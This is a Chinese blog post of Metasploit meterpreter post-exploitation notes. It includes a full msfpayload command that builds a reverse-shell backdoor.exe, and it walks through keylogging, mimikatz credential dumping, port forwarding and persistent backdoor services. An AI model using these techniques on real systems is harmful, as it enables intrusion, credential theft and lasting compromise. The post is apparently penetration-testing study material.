0x01 背景

meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。
需要说明的是meterpreter在漏洞利用成功后会发送第二阶段的代码和meterpreter服务器dll,所以在网络不稳定的情况下经常出现没有可执行命令,或者会话建立执行help之后发现缺少命令。
连上vpn又在内网中使用psexec和bind_tcp的时候经常会出现这种情况,别担心结束了之后再来一次,喝杯茶就好了。

0x02 常用类型

reverse_tcp

path : payload/windows/meterpreter/reverse_tcp

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.130 LPORT=8080 X > ~/Desktop/backdoor.exe

反向连接shell,使用起来很稳定。需要设置LHOST。

bind_tcp

path : payload/windows/meterpreter/bind_tcp

正向连接shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,不需要设置LHOST。

reverse_http/https

path:payload/windows/meterpreter/reverse_http/https

通过http/https的方式反向连接,在网速慢的情况下不稳定,在某博客上看到https如果反弹没有收到数据,可以将监听端口换成443试试。

0x03 基本命令

常用的有

background:将当前会话放置后台

load/use:加载模块

Interact:切换进一个信道

migrate:迁移进程

run:执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本,常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等。

Resource:执行一个已有的rc脚本。

0x04 常用扩展库介绍

meterpreter中不仅有基本命令还有很多扩展库,load/use之后再输入help,就可以看到关于这个模块的命令说明了。

stdapi command

文件相关

stdapi中有关于文件读写,上传下载,目录切换,截屏,摄像头,键盘记录,和系统相关的命令。
常用的当然就是文件操作及网络有关的命令。
通常我会用upload和download进行文件上传和下载,注意在meterpreter中也可以切换目录,当然也可以编辑文件。所以就不用运行shell再用echo写。

使用edit命令时需要注意编辑的是一个存在的文件,edit不能新建文件。
输入edit + 文件后就会调用vi编辑了。

网络相关

网络命令则有列出ip信息(ipconfig),展示修改路由表(route),还有端口转发(portfwd)。
比如portfwd:

在建立规则之后就可以连接本地3344端口,这样远程的3389端口就转发出来了。

键盘监听

这里需要注意一下windows会话窗口的概念,windows桌面划分为不同的会话(session),以便于与windows交互。会话0代表控制台,1,2代表远程桌面。所以要截获键盘输入必须在0中进行。可
以使用getdesktop查看或者截张图试试。否则使用setdesktop切换。

如果不行就切换到explorer.exe进程中,这样也可以监听到远程桌面连接进来之后的键盘输入数据。

mimikatz

这个不多介绍,只是因为这样抓到的hash可以存进数据库方便之后调用,不知道有没有什么方法可以快速的用第三方工具抓到hash/明文然后存进数据库。

这里是因为我的用户本身就没有密码。

sniffer

就是不知道能不能把包保存在victim上,然后后期再下下来,待实战考证。

0x05使用自定脚本

这里的脚本可以是rc脚本,也可以是ruby脚本,metasploit已经有很多自定义脚本了。比如上面说过的arp_scanner,hashdump。这些脚本都是用ruby编写,所以对于后期自定义修改来说非常方便,这里介绍一个很常见的脚本scraper,它将目标机器上的常见信息收集起来然后下载保存在本地。推荐这个脚本是因为这个过程非常不错。可以加入自定义的命令等等。

/.msf4/logs/下保存了所有脚本需要保存的日志记录,当然不只这一个脚本。同样.msf4文件夹下还保存了其他东西,比如输入过的命令,msf运行过程的日志等。 Scraper脚本将保存结果在/.msf4/logs/scripts/scraper/下。

0x06 持续性后门

metasploit自带的后门有两种方式启动的,一种是通过服务启动(metsvc),一种是通过启动项启动(persistence) 优缺点各异:metsvc是通过服务启动,但是服务名是meterpreter,脚本代码见图,

这里需要上传三个文件,然后用metsvc.exe 安装服务。不知道服务名能不能通过修改metsvc.exe达到。
安装过程和回连过程都很简单

下次回连时使用windows/metsvc_bind_tcp的payload就可以。

0x07 后记

meterpreter提供了很多攻击或收集信息的脚本,并且还有很多API(具体参考官方文档),及扩展。在对ruby代码理解的程度上,如果能根据目标环境和现状修改现有脚本或编写自己的脚本则能够极大的提高效率,获得预期的结果。

metasploit 渗透测试笔记(meterpreter篇)的更多相关文章

  1. metasploit 渗透测试笔记(基础篇)

    0x00 背景 笔记在kali linux(32bit)环境下完成,涵盖了笔者对于metasploit 框架的认识.理解.学习. 这篇为基础篇,并没有太多技巧性的东西,但还是请大家认真看啦. 如果在阅 ...

  2. metasploit渗透测试笔记(内网渗透篇)

    x01 reverse the shell File 通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行.本地监听即可获得meterpreter shell. r ...

  3. Metasploit渗透测试

    原创博客,转载请注出处! 学习笔记 参考书籍<Metasploit渗透测试指南(修订版)> 经过多日学习,初步掌握metasploit基本参数和使用方法,现进行渗透测试实践 靶机IP:16 ...

  4. Metasploit渗透测试魔鬼训练营

    首本中文原创Metasploit渗透测试著作,国内信息安全领域布道者和资深Metasploit渗透测试专家领衔撰写,极具权威性.以实践为导向,既详细讲解了Metasploit渗透测试的技术.流程.方法 ...

  5. Metasploit渗透测试实验报告

    Metasploit渗透测试实验报告

  6. 《metasploit渗透测试魔鬼训练营》学习笔记第九章--meterpreter

    七.强大的meterpreter  7.1再探metasploit的攻击载荷模块     7.1.1典型的攻击载荷模块     metasploit涵盖了各大主流操作系统和平台,其中绝大部分是远程漏洞 ...

  7. 《Metasploit渗透测试魔鬼训练营》第一章读书笔记

    第1章 魔鬼训练营--初识Metasploit 20135301 1.1 什么是渗透测试 1.1.1 渗透测试的起源与定义 如果大家对军事感兴趣,会知道各国军队每年都会组织一些军事演习来锻炼军队的攻防 ...

  8. 《metasploit渗透测试魔鬼训练营》学习笔记第四章—web应用渗透

    继续来学习metasploit...记好笔记是很重要的,下面开始正文: 二.WEB应用渗透技术     1.WEB应用渗透基础知识        先介绍WEB应用攻击的主要类型(大致介绍,具体请自行查 ...

  9. 《metasploit渗透测试魔鬼训练营》学习笔记第三章----情报搜集

    Kali渗透测试系统集成了metasploit开源的漏洞测试框架,是渗透测试必备的神器.下面是我在学习metasploit的笔记,有什么错误的地方请指出来,我会立即纠正的~ 一.情报搜集     1. ...

随机推荐

  1. jQuery中hover与mouseover和mouseout的区别分析

    本文实例分析了jQuery中hover与mouseover和mouseout的区别.分享给大家供大家参考,具体如下: 以前一直以为在jquery中其实mouseover和mouseout两个事件等于h ...

  2. [转]SAP模块一句话入门

    本文转自:http://www.cnblogs.com/mybi/archive/2010/12/20/1911154.html SAP一句话入门:Financial & Controllin ...

  3. Simotion 监控问题:Could not add self-signed certificate to certificate store.

    使用OPC UA 连接设备,在创建客户端证书时总是报这个错误:Could not add self-signed certificate to certificate store.. 解决方法,用管理 ...

  4. RabbitMQ---6、客户端 API 的简介

    1.主要的命名空间,接口和类 定义核心的API的接口和类被定义在RabbitMQ.Client这个命名空间下面: 所以要想使用RabbitMQ的功能,需要以下代码     using RabbitMQ ...

  5. 封装简单的API——微信小程序

    前几天自己琢磨微信小程序的基本开发,里边用到的技术包括WebAPI,也就是方法的封装. 当然也可以用ASP.NET MVC WCF来写接口.更简单应该就是 WinForm 简单易部署. 这里用的是 2 ...

  6. Docker学习(六): 网络使用与配置

    特别声明: 博文主要是学习过程中的知识整理,以便之后的查阅回顾.部分内容来源于网络(如有摘录未标注请指出).内容如有差错,也欢迎指正! =============系列文章============= 1 ...

  7. [javaSE] 多线程(售票例子)

    需求:简单的买票程序,多个窗口卖票,多线程 定义一个类Ticket实现Runnable接口, 定义成员属性int类型的票数nums 实现run()方法,run方法中 while(true)的死循环,打 ...

  8. Android Studio下载/更新SDK

    今天安装配置Android Studio的时候,用SDK Manager下载SDK的时候只显示了一个7.0,别的都刷新不出来(被墙了).去网上搜索怎么解决,发现很多帖子的方法已经过时了(跟现在的AS版 ...

  9. HttpServletRequest 各种方法总结(转)

    HttpServletRequest对象代表客户端的请求,当客户端通过HTTP协议访问服务器时,HTTP请求头中的所有信息都封装在这个对象中,开发人员通过这个对象的方法,可以获得客户这些信息. 转自: ...

  10. Microsoft ReportViewer 控件类型版本兼容问题及解决方法

    错误 Parser Error Message: The base class includes the field 'rvEquipment', but its type (Microsoft.Re ...